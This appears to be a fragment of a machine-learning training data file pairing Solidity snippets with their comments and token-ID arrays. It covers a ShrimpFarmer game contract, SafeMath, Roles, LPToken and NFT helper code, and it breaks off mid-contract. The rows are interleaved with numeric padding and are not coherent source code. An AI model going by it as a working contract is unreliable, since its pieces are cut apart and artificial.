1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
21614,
12,
3890,
3778,
1160,
682,
37,
16,
1731,
3778,
1160,
682,
38,
13,
1071,
16618,
1135,
261,
6430,
13,
288,
203,
3639,
309,
261,
7229,
682,
37,
18,
2469,
480,
1160,
682,
38,
18,
2469,
13,
327,
629,
31,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
1160,
682,
37,
18,
2469,
31,
277,
27245,
288,
203,
5411,
309,
261,
7229,
682,
37,
63,
77,
65,
480,
1160,
682,
38,
63,
77,
5717,
327,
629,
31,
203,
3639,
289,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18; // solhint-disable-line
contract VerifyToken {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
bool public activated;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract EthVerifyCore{
mapping (address => bool) public verifiedUsers;
}
contract ShrimpFarmer is ApproveAndCallFallBack{
using SafeMath for uint;
address vrfAddress=0x5BD574410F3A2dA202bABBa1609330Db02aD64C2;
VerifyToken vrfcontract=VerifyToken(vrfAddress);
//257977574257854071311765966
// 10000000000
//uint256 EGGS_PER_SHRIMP_PER_SECOND=1;
uint256 public EGGS_TO_HATCH_1SHRIMP=86400;//86400
uint public VRF_EGG_COST=(1000000000000000000*300)/EGGS_TO_HATCH_1SHRIMP;
uint256 public STARTING_SHRIMP=300;
uint256 PSN=100000000000000;
uint256 PSNH=50000000000000;
uint public potDrainTime=2 hours;//
uint public POT_DRAIN_INCREMENT=1 hours;
uint public POT_DRAIN_MAX=3 days;
uint public HATCH_COOLDOWN_MAX=6 hours;//6 hours;
bool public initialized=false;
//bool public completed=false;
address public ceoAddress;
address public dev2;
mapping (address => uint256) public hatchCooldown;//the amount of time you must wait now varies per user
mapping (address => uint256) public hatcheryShrimp;
mapping (address => uint256) public claimedEggs;
mapping (address => uint256) public lastHatch;
mapping (address => bool) public hasClaimedFree;
uint256 public marketEggs;
EthVerifyCore public ethVerify=EthVerifyCore(0x1c307A39511C16F74783fCd0091a921ec29A0b51);
uint public lastBidTime;//last time someone bid for the pot
address public currentWinner;
uint public potEth=0;//eth specifically set aside for the pot
uint public totalHatcheryShrimp=0;
uint public prizeEth=0;
function ShrimpFarmer() public{
ceoAddress=msg.sender;
dev2=address(0x95096780Efd48FA66483Bc197677e89f37Ca0CB5);
lastBidTime=now;
currentWinner=msg.sender;
}
function finalizeIfNecessary() public{
if(lastBidTime.add(potDrainTime)<now){
currentWinner.transfer(this.balance);//winner gets everything
initialized=false;
//completed=true;
}
}
function getPotCost() public view returns(uint){
return totalHatcheryShrimp.div(100);
}
function stealPot() public {
if(initialized){
_hatchEggs(0);
uint cost=getPotCost();
hatcheryShrimp[msg.sender]=hatcheryShrimp[msg.sender].sub(cost);//cost is 1% of total shrimp
totalHatcheryShrimp=totalHatcheryShrimp.sub(cost);
setNewPotWinner();
hatchCooldown[msg.sender]=0;
}
}
function setNewPotWinner() private {
finalizeIfNecessary();
if(initialized && msg.sender!=currentWinner){
potDrainTime=lastBidTime.add(potDrainTime).sub(now).add(POT_DRAIN_INCREMENT);//time left plus one hour
if(potDrainTime>POT_DRAIN_MAX){
potDrainTime=POT_DRAIN_MAX;
}
lastBidTime=now;
currentWinner=msg.sender;
}
}
function isHatchOnCooldown() public view returns(bool){
return lastHatch[msg.sender].add(hatchCooldown[msg.sender])<now;
}
function hatchEggs(address ref) public{
require(isHatchOnCooldown());
_hatchEggs(ref);
}
function _hatchEggs(address ref) private{
require(initialized);
uint256 eggsUsed=getMyEggs();
uint256 newShrimp=SafeMath.div(eggsUsed,EGGS_TO_HATCH_1SHRIMP);
hatcheryShrimp[msg.sender]=SafeMath.add(hatcheryShrimp[msg.sender],newShrimp);
totalHatcheryShrimp=totalHatcheryShrimp.add(newShrimp);
claimedEggs[msg.sender]=0;
lastHatch[msg.sender]=now;
hatchCooldown[msg.sender]=HATCH_COOLDOWN_MAX;
//send referral eggs
require(ref!=msg.sender);
if(ref!=0){
claimedEggs[ref]=claimedEggs[ref].add(eggsUsed.div(7));
}
//boost market to nerf shrimp hoarding
marketEggs=SafeMath.add(marketEggs,SafeMath.div(eggsUsed,7));
}
function getHatchCooldown(uint eggs) public view returns(uint){
uint targetEggs=marketEggs.div(50);
if(eggs>=targetEggs){
return HATCH_COOLDOWN_MAX;
}
return (HATCH_COOLDOWN_MAX.mul(eggs)).div(targetEggs);
}
function reduceHatchCooldown(address addr,uint eggs) private{
uint reduction=getHatchCooldown(eggs);
if(reduction>=hatchCooldown[addr]){
hatchCooldown[addr]=0;
}
else{
hatchCooldown[addr]=hatchCooldown[addr].sub(reduction);
}
}
function sellEggs() public{
require(initialized);
finalizeIfNecessary();
uint256 hasEggs=getMyEggs();
uint256 eggValue=calculateEggSell(hasEggs);
//uint256 fee=devFee(eggValue);
uint potfee=potFee(eggValue);
claimedEggs[msg.sender]=0;
lastHatch[msg.sender]=now;
marketEggs=SafeMath.add(marketEggs,hasEggs);
//ceoAddress.transfer(fee);
prizeEth=prizeEth.add(potfee);
msg.sender.transfer(eggValue.sub(potfee));
}
function buyEggs() public payable{
require(initialized);
uint256 eggsBought=calculateEggBuy(msg.value,SafeMath.sub(this.balance,msg.value));
eggsBought=eggsBought.sub(devFee(eggsBought));
eggsBought=eggsBought.sub(devFee2(eggsBought));
ceoAddress.transfer(devFee(msg.value));
dev2.transfer(devFee2(msg.value));
claimedEggs[msg.sender]=SafeMath.add(claimedEggs[msg.sender],eggsBought);
reduceHatchCooldown(msg.sender,eggsBought); //reduce the hatching cooldown based on eggs bought
//steal the pot if bought enough
uint potEggCost=getPotCost().mul(EGGS_TO_HATCH_1SHRIMP);//the equivalent number of eggs to the pot cost in shrimp
if(eggsBought>potEggCost){
//hatcheryShrimp[msg.sender]=hatcheryShrimp[msg.sender].add(getPotCost());//to compensate for the shrimp that will be lost when calling the following
//stealPot();
setNewPotWinner();
}
}
//magic trade balancing algorithm
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
//(PSN*bs)/(PSNH+((PSN*rs+PSNH*rt)/rt));
return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt)));
}
function calculateEggSell(uint256 eggs) public view returns(uint256){
return calculateTrade(eggs,marketEggs,this.balance.sub(prizeEth));
}
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth,contractBalance.sub(prizeEth),marketEggs);
}
function calculateEggBuySimple(uint256 eth) public view returns(uint256){
return calculateEggBuy(eth,this.balance);
}
function potFee(uint amount) public view returns(uint){
return SafeMath.div(SafeMath.mul(amount,20),100);
}
function devFee(uint256 amount) public view returns(uint256){
return SafeMath.div(SafeMath.mul(amount,4),100);
}
function devFee2(uint256 amount) public view returns(uint256){
return SafeMath.div(amount,100);
}
function seedMarket(uint256 eggs) public payable{
require(msg.sender==ceoAddress);
require(!initialized);
//require(marketEggs==0);
initialized=true;
marketEggs=eggs;
lastBidTime=now;
}
//Tokens are exchanged for shrimp by sending them to this contract with ApproveAndCall
function receiveApproval(address from, uint256 tokens, address token, bytes data) public{
require(!initialized);
require(msg.sender==vrfAddress);
require(ethVerify.verifiedUsers(from));//you must now be verified for this
require(claimedEggs[from].add(tokens.div(VRF_EGG_COST))<=1001*EGGS_TO_HATCH_1SHRIMP);//you may now trade for a max of 1000 eggs
vrfcontract.transferFrom(from,this,tokens);
claimedEggs[from]=claimedEggs[from].add(tokens.div(VRF_EGG_COST));
}
//allow sending eth to the contract
function () public payable {}
function claimFreeEggs() public{
// RE ENABLE THIS BEFORE DEPLOYING MAINNET
require(ethVerify.verifiedUsers(msg.sender));
require(initialized);
require(!hasClaimedFree[msg.sender]);
claimedEggs[msg.sender]=claimedEggs[msg.sender].add(getFreeEggs());
_hatchEggs(0);
hatchCooldown[msg.sender]=0;
hasClaimedFree[msg.sender]=true;
//require(hatcheryShrimp[msg.sender]==0);
//lastHatch[msg.sender]=now;
//hatcheryShrimp[msg.sender]=hatcheryShrimp[msg.sender].add(STARTING_SHRIMP);
}
function getFreeEggs() public view returns(uint){
return min(calculateEggBuySimple(this.balance.div(400)),calculateEggBuySimple(0.01 ether));
}
function getBalance() public view returns(uint256){
return this.balance;
}
function getMyShrimp() public view returns(uint256){
return hatcheryShrimp[msg.sender];
}
function getMyEggs() public view returns(uint256){
return SafeMath.add(claimedEggs[msg.sender],getEggsSinceLastHatch(msg.sender));
}
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsPassed=min(EGGS_TO_HATCH_1SHRIMP,SafeMath.sub(now,lastHatch[adr]));
return SafeMath.mul(secondsPassed,hatcheryShrimp[adr]);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | steal the pot if bought enoughhatcheryShrimp[msg.sender]=hatcheryShrimp[msg.sender].add(getPotCost());to compensate for the shrimp that will be lost when calling the followingstealPot(); | function buyEggs() public payable{
require(initialized);
uint256 eggsBought=calculateEggBuy(msg.value,SafeMath.sub(this.balance,msg.value));
eggsBought=eggsBought.sub(devFee(eggsBought));
eggsBought=eggsBought.sub(devFee2(eggsBought));
ceoAddress.transfer(devFee(msg.value));
dev2.transfer(devFee2(msg.value));
claimedEggs[msg.sender]=SafeMath.add(claimedEggs[msg.sender],eggsBought);
if(eggsBought>potEggCost){
setNewPotWinner();
}
}
| 1,755,096 | [
1,
334,
73,
287,
326,
5974,
309,
800,
9540,
7304,
76,
505,
627,
1555,
86,
14532,
63,
3576,
18,
15330,
65,
33,
76,
505,
627,
1555,
86,
14532,
63,
3576,
18,
15330,
8009,
1289,
12,
588,
18411,
8018,
10663,
869,
1161,
773,
340,
364,
326,
699,
86,
14532,
716,
903,
506,
13557,
1347,
4440,
326,
3751,
334,
73,
287,
18411,
5621,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
30143,
41,
75,
564,
1435,
1071,
8843,
429,
95,
203,
3639,
2583,
12,
13227,
1769,
203,
3639,
2254,
5034,
9130,
564,
13809,
9540,
33,
11162,
41,
14253,
38,
9835,
12,
3576,
18,
1132,
16,
9890,
10477,
18,
1717,
12,
2211,
18,
12296,
16,
3576,
18,
1132,
10019,
203,
3639,
9130,
564,
13809,
9540,
33,
1332,
564,
13809,
9540,
18,
1717,
12,
5206,
14667,
12,
1332,
564,
13809,
9540,
10019,
203,
3639,
9130,
564,
13809,
9540,
33,
1332,
564,
13809,
9540,
18,
1717,
12,
5206,
14667,
22,
12,
1332,
564,
13809,
9540,
10019,
203,
3639,
276,
4361,
1887,
18,
13866,
12,
5206,
14667,
12,
3576,
18,
1132,
10019,
203,
3639,
4461,
22,
18,
13866,
12,
5206,
14667,
22,
12,
3576,
18,
1132,
10019,
203,
3639,
7516,
329,
41,
75,
564,
63,
3576,
18,
15330,
65,
33,
9890,
10477,
18,
1289,
12,
14784,
329,
41,
75,
564,
63,
3576,
18,
15330,
6487,
1332,
564,
13809,
9540,
1769,
203,
203,
3639,
309,
12,
1332,
564,
13809,
9540,
34,
13130,
41,
14253,
8018,
15329,
203,
1850,
19469,
18411,
59,
7872,
5621,
203,
3639,
289,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0x9E40a8A535D4875848e1821e3C59AB5C5dd86135/sources/contracts/core/connext/helpers/LPToken.sol | * @notice Burns the given amount of LPToken from provided account @dev only owner can call this burn function @param account address of account from which to burn token @param amount amount of tokens to mint/ | function burnFrom(address account, uint256 amount) external onlyOwner {
require(amount != 0, "LPToken: cannot burn 0");
_burn(account, amount);
}
| 4,795,260 | [
1,
38,
321,
87,
326,
864,
3844,
434,
511,
52,
1345,
628,
2112,
2236,
225,
1338,
3410,
848,
745,
333,
18305,
445,
225,
2236,
1758,
434,
2236,
628,
1492,
358,
18305,
1147,
225,
3844,
3844,
434,
2430,
358,
312,
474,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
18305,
1265,
12,
2867,
2236,
16,
2254,
5034,
3844,
13,
3903,
1338,
5541,
288,
203,
565,
2583,
12,
8949,
480,
374,
16,
315,
14461,
1345,
30,
2780,
18305,
374,
8863,
203,
565,
389,
70,
321,
12,
4631,
16,
3844,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0x34Dc408f1173D3EB978693f8A630d35615d15217/sources/galak2.sol | * @title Roles @dev Library for managing addresses assigned to a Role./ | library Roles {
}
struct Role {
mapping(address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
| 8,185,252 | [
1,
6898,
225,
18694,
364,
30632,
6138,
6958,
358,
279,
6204,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
19576,
288,
203,
97,
203,
203,
565,
1958,
6204,
288,
203,
3639,
2874,
12,
2867,
516,
1426,
13,
28802,
31,
203,
565,
289,
203,
203,
565,
445,
527,
12,
2996,
2502,
2478,
16,
1758,
2236,
13,
2713,
288,
203,
3639,
2583,
12,
5,
5332,
12,
4615,
16,
2236,
3631,
315,
6898,
30,
2236,
1818,
711,
2478,
8863,
203,
3639,
2478,
18,
29400,
264,
63,
4631,
65,
273,
638,
31,
203,
565,
289,
203,
203,
565,
445,
1206,
12,
2996,
2502,
2478,
16,
1758,
2236,
13,
2713,
288,
203,
3639,
2583,
12,
5332,
12,
4615,
16,
2236,
3631,
315,
6898,
30,
2236,
1552,
486,
1240,
2478,
8863,
203,
3639,
2478,
18,
29400,
264,
63,
4631,
65,
273,
629,
31,
203,
565,
289,
203,
203,
565,
445,
711,
12,
2996,
2502,
2478,
16,
1758,
2236,
13,
2713,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
2583,
12,
4631,
480,
1758,
12,
20,
3631,
315,
6898,
30,
2236,
353,
326,
3634,
1758,
8863,
203,
3639,
327,
2478,
18,
29400,
264,
63,
4631,
15533,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: IWhitelist.sol
// Creator: OZ
pragma solidity ^0.8.4;
interface IWhitelist {
function check(address addr) external view returns(bool);
}
// File: Errors.sol
// Creator: OZ using Chiru Labs
pragma solidity ^0.8.4;
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error AssetCannotBeTransfered();
error AssetLocked();
error AssetNotLocked();
error BalanceQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error CallerNotOwnerNorApproved();
error Err();
error LackOfMoney();
error LockCallerNotOwnerNorApproved();
error MintShouldBeOpened();
error MintToZeroAddress();
error MintZeroQuantity();
error MintedQueryForZeroAddress();
error OutOfMintBoundaries();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error RootAddressError();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
error WhitelistedOnly();
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// File: Strings.sol
pragma solidity ^0.8.4;
/**
* Libraries
* Used https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol for Strings
*/
library Strings{
bytes16 private constant _HEXSYMBOLS = "0123456789abcdef";
function toString(address account) public pure returns(string memory) {
return toString(abi.encodePacked(account));
}
function toString(bytes32 value) public pure returns(string memory) {
return toString(abi.encodePacked(value));
}
function toString(bytes memory data) public pure returns(string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(2 + data.length * 2);
str[0] = "0";
str[1] = "x";
for (uint i = 0; i < data.length; i++) {
str[2+i*2] = alphabet[uint(uint8(data[i] >> 4))];
str[3+i*2] = alphabet[uint(uint8(data[i] & 0x0f))];
}
return string(str);
}
function toString(uint256 value) internal pure returns(string memory)
{
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (0 == value) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (0 != temp) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (0 != value) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns(string memory)
{
if (0 == value) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (0 != temp) {
length++;
temp >>= 8;
}
return toHexString(value,length);
}
function toHexString(uint256 value,uint256 length) internal pure returns(string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEXSYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0);
return string(buffer);
}
function concat(string memory self, string memory other) internal pure returns(string memory)
{
return string(
abi.encodePacked(
self,
other
));
}
}
// File: TokenStorage.sol
// Creator: OZ
pragma solidity ^0.8.4;
contract TokenStorage {
enum MintStatus {
NONE,
PRESALE,
SALE
}
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
